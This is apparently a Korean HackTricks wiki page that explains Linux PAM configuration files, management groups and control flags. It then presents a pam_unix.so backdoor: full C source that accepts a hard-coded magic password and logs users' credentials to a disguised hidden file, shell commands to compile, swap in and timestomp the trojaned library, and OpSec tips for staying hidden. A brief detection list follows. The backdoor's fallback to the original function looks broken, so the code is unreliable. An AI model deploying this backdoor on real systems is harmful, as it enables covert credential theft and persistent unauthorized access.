PAM - Pluggable Authentication Modules

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

**PAM (Pluggable Authentication Modules)**는 컴퓨터 서비스에 접근하려는 사용자의 신원을 확인하는 보안 메커니즘으로, 다양한 기준에 따라 접근을 제어합니다. 이는 디지털 게이트키퍼와 유사하여, 권한이 있는 사용자만 특정 서비스에 참여할 수 있도록 보장하며, 시스템 과부하를 방지하기 위해 사용을 제한할 수 있습니다.

구성 파일

  • Solaris 및 UNIX 기반 시스템은 일반적으로 /etc/pam.conf에 위치한 중앙 구성 파일을 사용합니다.
  • Linux 시스템은 디렉토리 방식을 선호하며, /etc/pam.d 내에 서비스별 구성을 저장합니다. 예를 들어, 로그인 서비스의 구성 파일은 /etc/pam.d/login에 있습니다.

로그인 서비스에 대한 PAM 구성의 예는 다음과 같을 수 있습니다:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM 관리 영역

이 영역, 또는 관리 그룹은 auth, account, password, 및 session을 포함하며, 각기 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다:

  • Auth: 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다.
  • Account: 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다.
  • Password: 복잡성 검사 또는 사전 공격 방지를 포함하여 비밀번호 업데이트를 관리합니다.
  • Session: 서비스 세션의 시작 또는 종료 시 작업을 관리하며, 디렉토리 마운트 또는 리소스 제한 설정과 같은 작업을 포함합니다.

PAM 모듈 제어

제어는 모듈의 성공 또는 실패에 대한 반응을 결정하며, 전체 인증 프로세스에 영향을 미칩니다. 여기에는 다음이 포함됩니다:

  • Required: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다.
  • Requisite: 실패 시 즉각적인 프로세스 종료.
  • Sufficient: 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다.
  • Optional: 스택에서 유일한 모듈일 경우에만 실패를 유발합니다.

예시 시나리오

여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. pam_securetty 모듈이 로그인 터미널이 승인되지 않았다고 판단하면, 루트 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. pam_env는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. pam_ldappam_unix 모듈은 함께 작동하여 사용자를 인증하며, pam_unix는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.

PAM 백도어 – pam_unix.so 후킹

고가치 Linux 환경에서 고전적인 지속성 트릭은 합법적인 PAM 라이브러리를 트로이 목마화된 드롭인으로 교체하는 것입니다. 모든 SSH / 콘솔 로그인은 pam_unix.so:pam_sm_authenticate()를 호출하므로, 자격 증명을 캡처하거나 마법 비밀번호 우회를 구현하기 위해 몇 줄의 C 코드면 충분합니다.

컴파일 요약표

c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

컴파일하고 은밀하게 교체하기:

bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. 원자적 덮어쓰기 – 임시 파일에 쓰고 mv로 위치를 변경하여 SSH를 잠글 수 있는 반쯤 작성된 라이브러리를 피하십시오.
  2. /usr/bin/.dbus.log와 같은 로그 파일 배치는 합법적인 데스크탑 아티팩트와 섞입니다.
  3. PAM의 잘못된 동작을 피하기 위해 기호 내보내기를 동일하게 유지하십시오 (pam_sm_setcred 등).

Detection

  • pam_unix.so의 MD5/SHA256을 배포판 패키지와 비교하십시오.
  • /lib/security/ 아래에서 세계 쓰기 가능 또는 비정상적인 소유권을 확인하십시오.
  • auditd 규칙: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기